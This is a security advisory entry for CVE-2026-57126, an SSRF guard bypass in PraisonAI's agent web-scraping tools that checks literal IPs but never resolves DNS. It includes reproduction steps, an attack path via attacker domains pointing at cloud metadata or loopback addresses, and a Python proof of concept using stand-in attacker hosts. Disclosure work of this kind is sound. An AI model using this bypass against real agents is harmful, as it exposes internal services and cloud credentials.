# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

PraisonAI's SSRF guard checks only literal IP encodings and never resolves DNS, so any hostname with an internal A record bypasses validation and reaches metadata/loopback services.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: SnailSploit
- Disclosed: 2026-06-18
- CVE: CVE-2026-57126
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vxgj-xg5c-p4h7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vxgj-xg5c-p4h7
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** Python agent web tools (spider_tools scrape_page/crawl, mentions @url fetch)
**Root cause:** _host_is_blocked only inspects literal IP string encodings (decimal, hex, inet_aton, ipaddress) and returns False for any DNS name; socket.getaddrinfo is never called, so a hostname resolving to 127.0.0.1/169.254.169.254/RFC1918 passes validation.
**Steps:**
1. Clone https://github.com/MervinPraison/PraisonAI and import `_host_is_blocked`, `SpiderTools` from `praisonaiagents.tools.spider_tools`.
2. Confirm literals blocked: `_host_is_blocked('127.0.0.1')`, `'2130706433'`, `'0x7f000001'`, `'169.254.169.254'`, `'::1'` all return True.
3. Confirm names pass: `_host_is_blocked('metadata-thief.com')` returns False.
4. Monkeypatch `S.socket.getaddrinfo` to raise; `_host_is_blocked('attacker.example')` still returns False, proving no resolution.
5. `SpiderTools._validate_url('http://127.0.0.1/')` is False but `_validate_url('http://metadata-thief.com/')` is True.
6. Point a controlled domain's A record at 169.254.169.254 and drive an agent with scrape_page/crawl or an `@url` mention; response is fetched into model context.
**How found:** Read the guard's docstring claiming it blocks hosts that 'resolve to' internal targets, then traced every branch and noticed all operate on the literal string with no getaddrinfo call; confirmed by monkeypatching getaddrinfo to raise and observing no error.
**Exploitation:** Attacker registers a domain whose A record points at 169.254.169.254, 127.0.0.1, or an RFC1918 service, then supplies that URL to an agent with scrape_page/crawl enabled or as an @url mention. The guard passes the name, requests/urllib fetches the internal target, and the response is returned into model context.
**Insight:** When a blocklist docstring says 'resolves to', verify resolution actually happens — grep for getaddrinfo/gethostbyname in the validation path; a prior fix that only added more literal IP encodings (decimal/hex/inet_aton) signals the DNS-name class was never addressed.

## Proof of concept (copied exactly from the original report)

**PoC asserting DNS names bypass SSRF guard**

```
import socket
from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools

# Literal forms the CVE-2026-47390 fix added — correctly blocked:
for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]:
    assert _host_is_blocked(h) is True, h

# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):
for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]:
    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254

st = SpiderTools
assert st._validate_url("http://127.0.0.1/") is False           # literal blocked
assert st._validate_url("http://metadata-thief.com/") is True   # name passes -> request fires

# The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False            # no RuntimeError -> never resolved

print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")
```

